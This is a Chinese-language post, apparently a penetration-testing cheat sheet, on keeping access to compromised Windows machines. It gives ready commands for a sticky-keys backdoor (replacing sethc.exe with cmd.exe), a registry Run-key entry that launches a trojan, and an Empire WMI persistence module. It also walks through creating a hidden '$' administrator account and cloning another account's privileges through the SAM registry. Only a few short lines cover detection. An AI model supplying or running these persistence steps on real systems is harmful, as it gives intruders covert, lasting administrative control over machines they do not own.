权限维持-Windows后门

@wintry大约 2 分钟

Schtasks后门

Schtasks.exe能够在本地或远程计算机上创建,删除,查询,更改,运行和结束计划任务

不带参数运行Schtasks.exe会显示每个已注册任务的状态和下一次运行时间。

wmi后门

WMI后门使用了WMI的两个特征:无文件和无进程(需要管理员权限运行)

原理是将代码加密存储于WMI中,即无文件;调用PowerShell执行后门程序,执行后进程消失,即无进程。

在Empire中使用Invoke-WMI模块

usemodule powershell/persistence/elevated/wmi  #设置参数run

检查后门:

使用微软提供的工具Autoruns:

https://docs.microsoft.com/en-us/sysinternals/downloads/autorunsopen in new window

DLL劫持后门

DLL劫持原理就是使用 loadlibrary 动态加载DLL

DLL劫持工具:SuperDllHijackopen in new window

映像劫持shift后门(系统管理员权限)

#替换sethc.exe为cmd.exe,连按5下Shift弹出cmd窗口
cd C:\windows\system32
cacls sethc.exe /t /e /G Administrators:f
cacls cmd.exe /t /e /G Administrators:f
ren sethc.exe aaa.exe
ren cmd.exe sethc.exe
 
#恢复
ren sethc.exe cmd.exe
ren aaa.exe sethc.exe

检查后门:连续按5下弹出cmd窗口(当然还有其它放大镜讲述人等)

木马加入开机启动项

#使用注册表
reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v SunRAC /t reg_sz /d "C:\Users\Public\Videos\msservice.exe" 

添加影子账户

自动化工具:wgpsec/一个使用注册表创建隐藏帐户的工具 open in new window

CreateHiddenAccount.exe -u teamssix -p Passw0rd

以下是手动步骤(原理还是要了解的)

net user admins$ @admin.886 /add
net localgroup administrators admins$ /add

# '$'符添加时,只是在 net user 中无法查看到当前用户
# 而在 net localgroup administrators 中是可以看到的

1)权限设置

打开注册表regedit 找到以下键值 HKEY_LOCAL_MACHINE\SAM\SAM

右键 SAM 赋予Administrators 完全控制和读取权限,保存后刷新(重新打开注册表)

2)导出导入

进入到以下键值 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names

找到添加的用户,还有对应的类型 0x3eb -->>000003EB,都进行导出。

以上两个文件夹都导出之后,将添加的用户删除掉,然后刷新;

net user admins$ /del

[+] 然后导入刚刚导出的两个*.reg文件。

4)设置"影子"

找到一个能够正常远程登入的用户,复制它的 F 值,放入到我们添加用户的对应 F 值里面

RDP连接上去后,就是我们复制 F 值的那个账户的权限

5)如何防御?

1、对于用”$”添加的用户,产看用户组成员

net localgroup administrators

2、修改注册表类型的隐藏手段,访问注册表

HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names